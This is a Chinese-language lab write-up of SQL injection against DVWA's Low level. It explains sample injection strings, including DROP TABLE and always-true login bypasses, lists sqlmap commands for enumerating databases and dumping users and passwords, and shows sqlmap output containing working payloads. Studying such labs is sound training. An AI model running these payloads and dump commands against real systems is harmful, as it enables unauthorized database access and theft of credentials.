当前位置: 首页 > news >正文

SQL Injection

SQL Injection

        SQL injection(SQL注入),通过在输入字段或URL查询参数中执行SQL命令,导致对数据库的未经授权的访问。如果SQL注入成功,未经授权的人可能会读取、创建、更新甚至删除数据库表的记录

        举个例子:

        假设我们有一个搜索表单,用于通过ID搜索我们网站上的产品。如果用户在表单中输入20; DROP TABLE Products;,那么SQL语句就变成了SELECT * FROM Products WHERE product_id = 20; DROP TABLE Products;。现在,这个SQL语句会从数据库中删除Products表。这是可能的,因为大多数数据库系统可以同时执行多个语句

        另一种执行SQL注入的方法是通过传递一个始终为TRUE的条件,以便无论如何都能获取数据。例如,如果用户将用户名输入为invalid_user" OR "1"="1,并将密码输入为invalid_pass" OR "1"="1,那么SQL语句就变成了SELECT * FROM Users WHERE username = "invalid_user" OR "1"="1" AND password = "invalid_pass" OR "1"= "1"。由于"1"="1"始终为TRUE,所以无论用户输入什么用户名和密码,SQL都会从数据库中获取所有用户的数据

        在下面的测试中我们使用,工具sqlmap进行,下面是一些常用的sqlmap的命令

  1. 检测是否存在注入点:

    python sqlmap.py -r "请求文件包路径"

    这个命令用于检测指定请求文件包中是否存在 SQL 注入漏洞。

  2. 获取注入点所有数据库:

    python sqlmap.py -r "响应包路径" --dbs

    一旦确认存在注入点,这个命令将用于获取目标数据库服务器上的所有数据库名称。

  3. 获取当前使用的数据库:

    python sqlmap.py -r "响应包路径" --current-db --batch

    这个命令用于获取当前数据库服务器上正在使用的数据库。

  4. 获取数据库中的表:

    python sqlmap.py -r "响应包路径" --tables -D "数据库名" --batch

    一旦确认存在数据库,这个命令将用于获取指定数据库中的所有表。

  5. 获取表中的字段信息:

    python sqlmap.py -r "响应包路径" --columns -T "表名" -D "数据库名" --batch

    这个命令用于获取指定表中的所有字段信息。

  6. 获取字段具体信息:

    python sqlmap.py -r "响应包路径" --dump -C "字段名(可多个)" -T "表名" -D "数据库名" --batch

    这个命令用于获取指定表中指定字段的具体信息。

  7. 获取当前使用的账户:

    python sqlmap.py -r "响应包路径" --current-user

    这个命令用于获取当前数据库连接的用户。

  8. 列出所有使用过的账户:

    python sqlmap.py -r "响应包路径" --users

    这个命令用于列出所有在目标数据库服务器上使用过的用户。

  9. 获取 MySQL 的登录账户和密码:

    python sqlmap.py -r "响应包路径" --passwords

    这个命令用于获取 MySQL 数据库中存储的账户和密码。

Low

        我们先进行尝试,输入User ID显示对应的name,并且输入的ID值在URL栏中,抓包,获取请求文件。

        SQLMap 需要了解应用程序如何处理用户输入并构建 SQL 查询。通常情况下是通过分析请求的方式来检测 SQL 注入漏洞的,

        

        将请求保存到文件 ,使用     sqlmap.py -r  “请求文件的路径”  来判断是否存在注入点

根据 SQLMap 的输出,已确认了 GET 参数 id 存在 SQL 注入漏洞,后端数据库管理系统(DBMS)是 MySQL,Web 应用程序使用的技术是 PHP 7.3.4 和 Apache 2.4.39。

GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection point(s) with a total of 150 HTTP(s) requests:
---
Parameter: id (GET)Type: boolean-based blindTitle: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)Payload: id=1' OR NOT 6167=6167#&Submit=SubmitType: error-basedTitle: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)Payload: id=1' AND GTID_SUBSET(CONCAT(0x7178627a71,(SELECT (ELT(5600=5600,1))),0x7170766b71),5600)-- fHCD&Submit=SubmitType: time-based blindTitle: MySQL >= 5.0.12 AND time-based blind (query SLEEP)Payload: id=1' AND (SELECT 2140 FROM (SELECT(SLEEP(5)))sxtb)-- lceH&Submit=SubmitType: UNION queryTitle: MySQL UNION query (NULL) - 2 columnsPayload: id=1' UNION ALL SELECT CONCAT(0x7178627a71,0x4641787449665a466652656c6854747941486f476d76576569754c78454c6e6774687643746c5458,0x7170766b71),NULL#&Submit=Submit
---
[21:47:55] [INFO] the back-end DBMS is MySQL
web application technology: PHP 7.3.4, Apache 2.4.39
back-end DBMS: MySQL >= 5.6
[21:47:57] [INFO] fetched data logged to text files under 'C:\Users\LI\AppData\Local\sqlmap\output\127.0.0.1'

获取所有数据库名

 python .\sqlmap.py -r  C:\Users\LI\Desktop\请求.txt -dbs 

available databases [2]:
[*] dvwa
[*] information_schema

获取当前数据库名

python .\sqlmap.py -r C:\Users\LI\Desktop\请求.txt  --current-db --batch

获取数据库表信息:

 python .\sqlmap.py -r  C:\Users\LI\Desktop\请求文件.txt  -D DVWA -tables

获取DVWA数据库user表的列:

 python .\sqlmap.py -r C:\Users\LI\Desktop\请求.txt  -D dvwa --tables

尝试检索并显示指定列的数据 (会对CPU造成较大的负担,风扇声音较大是正常的)

 python .\sqlmap.py -r C:\Users\LI\Desktop\请求.txt  -D dvwa -T users -C user,password,user_id --dump

Medium

 使用工具注入,步骤相似,略

High

 使用工具注入,步骤相似,略

相关文章:

SQL Injection

SQL Injection SQL injection(SQL注入),通过在输入字段或URL查询参数中执行SQL命令,导致对数据库的未经授权的访问。如果SQL注入成功,未经授权的人可能会读取、创建、更新甚至删除数据库表的记录 举个例子:…...

【Go入门】 Go搭建一个Web服务器

【Go入门】 Go搭建一个Web服务器 前面小节已经介绍了Web是基于http协议的一个服务,Go语言里面提供了一个完善的net/http包,通过http包可以很方便的搭建起来一个可以运行的Web服务。同时使用这个包能很简单地对Web的路由,静态文件&#xff0c…...

VS 将 localhost访问改为ip访问

项目场景: 使用vs进行本地调试时需要多人访问界面,使用ip访问报错 问题描述 vs通过ip访问报错 虚拟机或其它电脑不能正常打开 原因分析: 原因是vs访问规则默认是iis,固定默认启动地址是localhost 解决方案: 1.vs项目启动之后会出现这个 右…...

app使用

font-face{font-family:‘kaishu’; src: url(data:application/font-ttf;charsetutf-8;base64,AAEAAAASAQAABAAgRFNJR5PpVzIAAAEsAAAacEdTVUIzhvftAAAbnAAAAXBPUy8yY8pHoQAAHQwAAABWY21hcAsTB9YAAB1kAADD5GN2dCAvAiIAADhSAAAA5pmcGdt/siFHQAA5OQAAAOiZ2FzcAAXAAkAAOiIAAAAEGds…...

【迅搜01】安装运行并测试XunSearch

安装运行并测试XunSearch 这回的新系列,我们将学习到的是一个搜索引擎 迅搜 XunSearch 的使用。这个搜索引擎在 PHP 圈可能还是有一点名气的,而且也是一直在更新的,虽说现在 ElasticSearch 已经是实际上的搜索引擎霸主了,而且还有…...

Mac电脑VSCode配置PHP开发环境

1.安装 PHP 首先,打开终端,安装 Homebrew,输入如下命令: $ /bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)" 安装了 Homebrew 之后,你可以使用下面的…...

SpirngBoot + Vue 前后端分离开发工具代码

✅作者简介:大家好,我是Leo,热爱Java后端开发者,一个想要与大家共同进步的男人😉😉 🍎个人主页:Leo的博客 💞当前专栏: Java从入门到精通 ✨特色专栏&#xf…...

【数据结构初阶】单链表(附全部码源)

单链表 1,单链表的概念及结构2,单链表的实现2.1初始化内容(所需文件,接口)2.2申请结点2.3打印单链表2.4尾插2.5头插2.6尾删2.7头删2.8查找2.9在pos位置之后插入2.10在pos位置前面插入2.11删除pos之后的值2.12删除pos位…...

数据治理入门

处理模式 模式名称常见场景常见框架批处理夜间几个小时,无人值守hive spark datax流处理7*24H一直运行,无人值守maxwell, flink, flume, kafka即席处理人机交互接口访问 web页面 数据治理的意义 数据质量低:数据错误,不准确或不…...

uniapp 微信小程序登录 新手专用 引入即可

预览 第一步导入插件 在引入的页面的登录按钮下拷贝一下代码 <template><view class"content"><button type"primary" click"login">微信登录</button></view><TC-WXlogin :wxloginwxlogin /> </templ…...

PMCW体制雷达系列文章(4) – PMCW雷达之抗干扰

说明 本文作为PMCW体制雷达系列文章之一&#xff0c;主要聊聊FMCW&PMCW两种体制雷达的干扰问题。事实上不管是通信领域还是雷达领域&#xff0c;对于一切以电磁波作为媒介的信息传递活动&#xff0c;干扰是无处不在的。近年来&#xff0c;随着雷达装车率的提高&#xff0c;…...

Gin框架源码解析

概要 目录 Gin路由详解 Gin框架路由之Radix Tree 一、路由树节点 二、请求方法树 三、路由注册以及匹配 中间件含义 Gin框架中的中间件 主要讲述Gin框架路由和中间件的详细解释。本文章将从Radix树&#xff08;基数树或者压缩前缀树&#xff09;、请求处理、路由方法树…...

MacOS设置JAVA_HOME环境变量

首先先查看一下&#xff0c;系统当前使用的java是谁&#xff0c;可以使用/usr/libexec/java_home命令 % /usr/libexec/java_home /Library/Internet Plug-Ins/JavaAppletPlugin.plugin/Contents/Home检查一下这个路径下的文件&#xff0c;发现这是一个jre的目录。加上-V参数看…...

闭眼检测实现

引言 这段代码是一个实时眼睛状态监测程序&#xff0c;可以用于监测摄像头捕获的人脸图像中的眼睛状态&#xff0c;判断眼睛是否闭合。具体应用实现作用说明如下&#xff1a; 1. 实时监测眼睛状态 通过摄像头捕获的实时视频流&#xff0c;检测人脸关键点并计算眼睛的 EAR&a…...

系列六、Java垃圾回收器主要有哪些?

一、Java垃圾回收器主要有哪些? UseSerialGC、UseParallelGC、UseConcMarkSweepGC、UseParallelNewGC、UseParallelOldGC、UseG1GC...

【7】Spring Boot 3 集成组件:缓存组件 spring cache + spring data redis

目录 【7】Spring Boot 3 集成组件&#xff1a;缓存组件 spring cache spring data redis什么是缓存抽象声明式注解JSR-107对应SpEL上下文数据 引入依赖cache 支持的缓存类型缓存类型配置NONESIMPLEREDIS自定义配置 CAFFEINE Hazelcast...总结 个人主页: 【⭐️个人主页】 需要…...

说说Java中的不可重入锁

什么是锁&#xff1f; 简单来讲在Java中&#xff0c;锁是一种用于并发控制的机制&#xff0c;用于保护共享资源&#xff0c;防止多个线程同时访问或修改数据导致的数据不一致性和线程安全问题。在Java虚拟机&#xff08;JVM&#xff09;中&#xff0c;每个对象都有一个相关联的…...

C++学习 --vector

目录 1&#xff0c; 什么是vector 2&#xff0c; 创建vector 2-1&#xff0c; 标准数据类型 2-2&#xff0c; 自定义数据类型 2-3&#xff0c; 其他创建方式 3&#xff0c; 操作vector 3-1&#xff0c; 赋值 3-2&#xff0c; 添加元素 3-2-1&#xff0c; 添加元素(assi…...

Android图片涂鸦,Kotlin(1)

Android图片涂鸦&#xff0c;Kotlin&#xff08;1&#xff09; import android.content.Context import android.graphics.Canvas import android.graphics.Color import android.graphics.Paint import android.graphics.Path import android.graphics.PointF import android.…...

upload-labs(1-17关攻略详解)

upload-labs pass-1 上传一个php文件&#xff0c;发现不行 但是这回显是个前端显示&#xff0c;直接禁用js然后上传 f12禁用 再次上传&#xff0c;成功 右键打开该图像 即为位置&#xff0c;使用蚁剑连接 连接成功 pass-2 源码 $is_upload false; $msg null; if (isse…...

告别网络依赖:用Vue3+Leaflet和IIS搭建本地离线地图服务(附腾讯地图瓦片下载)

构建企业级离线地图解决方案&#xff1a;Vue3Leaflet与IIS深度整合指南 在数字化转型浪潮中&#xff0c;地图功能已成为各类管理系统的基础需求。然而&#xff0c;许多政企单位、军工机构及偏远地区项目往往面临网络不稳定或完全离线的特殊环境。本文将系统介绍如何基于Vue3、L…...

OFA图像语义蕴含模型在网络安全中的应用:虚假图片内容识别

OFA图像语义蕴含模型在网络安全中的应用&#xff1a;虚假图片内容识别 每天都有数百万张图片在社交媒体上传播&#xff0c;其中有多少是经过PS处理的虚假内容&#xff1f;当图片与文字描述自相矛盾时&#xff0c;我们该如何快速识别其中的猫腻&#xff1f; 1. 虚假图片识别的挑…...

`android.hardware.camera2.params` 是 Android Camera2 API 中用于封装相机参数配置的包

android.hardware.camera2.params 是 Android Camera2 API 中用于封装相机参数配置的包&#xff0c;主要包含与相机捕获请求&#xff08;CaptureRequest&#xff09;和输出结果&#xff08;CaptureResult&#xff09;相关的参数类。这些类定义了各种可配置的相机控制参数&#…...

Baichuan-7B模型压缩终极指南:如何在保持性能的同时大幅减小模型体积

Baichuan-7B模型压缩终极指南&#xff1a;如何在保持性能的同时大幅减小模型体积 【免费下载链接】Baichuan-7B A large-scale 7B pretraining language model developed by BaiChuan-Inc. 项目地址: https://gitcode.com/gh_mirrors/ba/Baichuan-7B Baichuan-7B是由百川…...

sing-box性能调优:从内存占用到吞吐量的全面优化

sing-box性能调优&#xff1a;从内存占用到吞吐量的全面优化 引言 sing-box作为通用代理平台&#xff08;The universal proxy platform&#xff09;&#xff0c;在高并发网络环境下的性能表现直接影响用户体验。本文将从内存管理、连接复用、吞吐量优化三个维度&#xff0c;…...

Poppler for Windows:让PDF处理不再成为开发瓶颈

Poppler for Windows&#xff1a;让PDF处理不再成为开发瓶颈 【免费下载链接】poppler-windows Download Poppler binaries packaged for Windows with dependencies 项目地址: https://gitcode.com/gh_mirrors/po/poppler-windows 你是否曾因PDF处理功能的复杂配置而推…...

AWPortrait-Z问题解决:图像模糊、速度慢?常见问题一键搞定

AWPortrait-Z问题解决&#xff1a;图像模糊、速度慢&#xff1f;常见问题一键搞定 1. 快速诊断&#xff1a;你的问题属于哪一类&#xff1f; 在使用AWPortrait-Z生成人像时&#xff0c;最常见的问题可以归纳为三类&#xff1a; 图像质量问题&#xff1a;模糊、失真、细节不足…...

如何快速解决腾讯游戏卡顿问题:ACE-Guard资源限制器完整指南

如何快速解决腾讯游戏卡顿问题&#xff1a;ACE-Guard资源限制器完整指南 【免费下载链接】sguard_limit 限制ACE-Guard Client EXE占用系统资源&#xff0c;支持各种腾讯游戏 项目地址: https://gitcode.com/gh_mirrors/sg/sguard_limit 你是否在玩腾讯游戏时遇到过电脑…...

戴尔G15散热控制神器:开源替代AWCC的完整指南

戴尔G15散热控制神器&#xff1a;开源替代AWCC的完整指南 【免费下载链接】tcc-g15 Thermal Control Center for Dell G15 - open source alternative to AWCC 项目地址: https://gitcode.com/gh_mirrors/tc/tcc-g15 你是否厌倦了戴尔G15笔记本自带的AWCC软件&#xff1…...

三步解决Windows系统驱动冗余难题:DriverStore Explorer系统优化指南

三步解决Windows系统驱动冗余难题&#xff1a;DriverStore Explorer系统优化指南 【免费下载链接】DriverStoreExplorer Driver Store Explorer 项目地址: https://gitcode.com/gh_mirrors/dr/DriverStoreExplorer 系统盘空间持续告急&#xff1f;设备管理器中出现重复驱…...